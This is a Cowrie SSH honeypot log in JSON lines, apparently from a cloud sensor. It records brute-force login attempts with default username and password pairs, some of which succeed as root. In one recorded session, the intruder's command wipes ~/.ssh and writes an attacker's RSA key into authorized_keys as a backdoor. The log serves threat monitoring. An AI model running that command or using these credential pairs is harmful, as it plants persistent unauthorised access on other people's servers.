{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:05.360730Z","src_ip":"181.104.58.198","session":"c7db621a9cd7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:06.204789Z","src_ip":"181.104.58.198","session":"c7db621a9cd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:06.409782Z","src_ip":"181.104.58.198","session":"e50f0c4d6032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:06.415056Z","src_ip":"181.104.58.198","session":"c7db621a9cd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":55862,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d70324c57c2","protocol":"ssh","message":"New connection: 193.32.162.151:55862 (159.203.135.109:22) [session: 2d70324c57c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:12:15.078259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:12:15.126729Z","src_ip":"193.32.162.151","session":"2d70324c57c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:12:15.188621Z","src_ip":"193.32.162.151","session":"2d70324c57c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"public_django_project","password":"public_django_project123","message":"login attempt [public_django_project/public_django_project123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:12:15.602714Z","src_ip":"193.32.162.151","session":"2d70324c57c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:12:16.708184Z","src_ip":"193.32.162.151","session":"2d70324c57c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53066,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc801bd282d1","protocol":"ssh","message":"New connection: 195.178.110.218:53066 (159.203.135.109:22) [session: bc801bd282d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:12:40.780846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:12:40.785516Z","src_ip":"195.178.110.218","session":"bc801bd282d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:12:40.867435Z","src_ip":"195.178.110.218","session":"bc801bd282d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:12:41.105551Z","src_ip":"195.178.110.218","session":"bc801bd282d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:12:42.187672Z","src_ip":"195.178.110.218","session":"bc801bd282d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.73.84.45","src_port":46943,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf806b1779de","protocol":"ssh","message":"New connection: 185.73.84.45:46943 (159.203.135.109:22) [session: cf806b1779de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:12:51.748220Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:12:51.869079Z","src_ip":"185.73.84.45","session":"cf806b1779de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.39.108.31","src_port":48318,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cf16cf99b8b","protocol":"ssh","message":"New connection: 186.39.108.31:48318 (10.17.0.5:22) [session: 1cf16cf99b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:14.268965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:14.273338Z","src_ip":"186.39.108.31","session":"1cf16cf99b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:14.424354Z","src_ip":"186.39.108.31","session":"1cf16cf99b8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"252525","message":"login attempt [root/252525] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:15.054795Z","src_ip":"186.39.108.31","session":"1cf16cf99b8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:15.387130Z","src_ip":"186.39.108.31","session":"1cf16cf99b8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:15.389719Z","src_ip":"186.39.108.31","session":"1cf16cf99b8b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:15.392198Z","src_ip":"186.39.108.31","session":"1cf16cf99b8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:15.545432Z","src_ip":"186.39.108.31","session":"1cf16cf99b8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:16.001593Z","src_ip":"186.39.108.31","session":"1cf16cf99b8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:16.004523Z","src_ip":"186.39.108.31","session":"1cf16cf99b8b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:16.157674Z","src_ip":"186.39.108.31","session":"1cf16cf99b8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:16.161411Z","src_ip":"186.39.108.31","session":"1cf16cf99b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.39.108.31","src_port":48624,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab0271f251cc","protocol":"ssh","message":"New connection: 186.39.108.31:48624 (10.17.0.5:22) [session: ab0271f251cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:16.306181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:16.311130Z","src_ip":"186.39.108.31","session":"ab0271f251cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:16.464250Z","src_ip":"186.39.108.31","session":"ab0271f251cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:17.102488Z","src_ip":"186.39.108.31","session":"ab0271f251cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:18.254246Z","src_ip":"186.39.108.31","session":"ab0271f251cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.39.108.31","src_port":48982,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0337af7efc9","protocol":"ssh","message":"New connection: 186.39.108.31:48982 (10.17.0.5:22) [session: d0337af7efc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:18.408431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:18.415355Z","src_ip":"186.39.108.31","session":"d0337af7efc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:18.578657Z","src_ip":"186.39.108.31","session":"d0337af7efc9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:19.240496Z","src_ip":"186.39.108.31","session":"d0337af7efc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:19.398360Z","src_ip":"186.39.108.31","session":"1cf16cf99b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:19.400916Z","src_ip":"186.39.108.31","session":"d0337af7efc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":43502,"dst_ip":"159.203.135.109","dst_port":22,"session":"191347d630e8","protocol":"ssh","message":"New connection: 193.32.162.151:43502 (159.203.135.109:22) [session: 191347d630e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:27.767740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:27.773187Z","src_ip":"193.32.162.151","session":"191347d630e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:27.879846Z","src_ip":"193.32.162.151","session":"191347d630e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sybase","password":"sybase","message":"login attempt [sybase/sybase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:28.357912Z","src_ip":"193.32.162.151","session":"191347d630e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:14:29.466527Z","src_ip":"193.32.162.151","session":"191347d630e8","protocol":"ssh"}
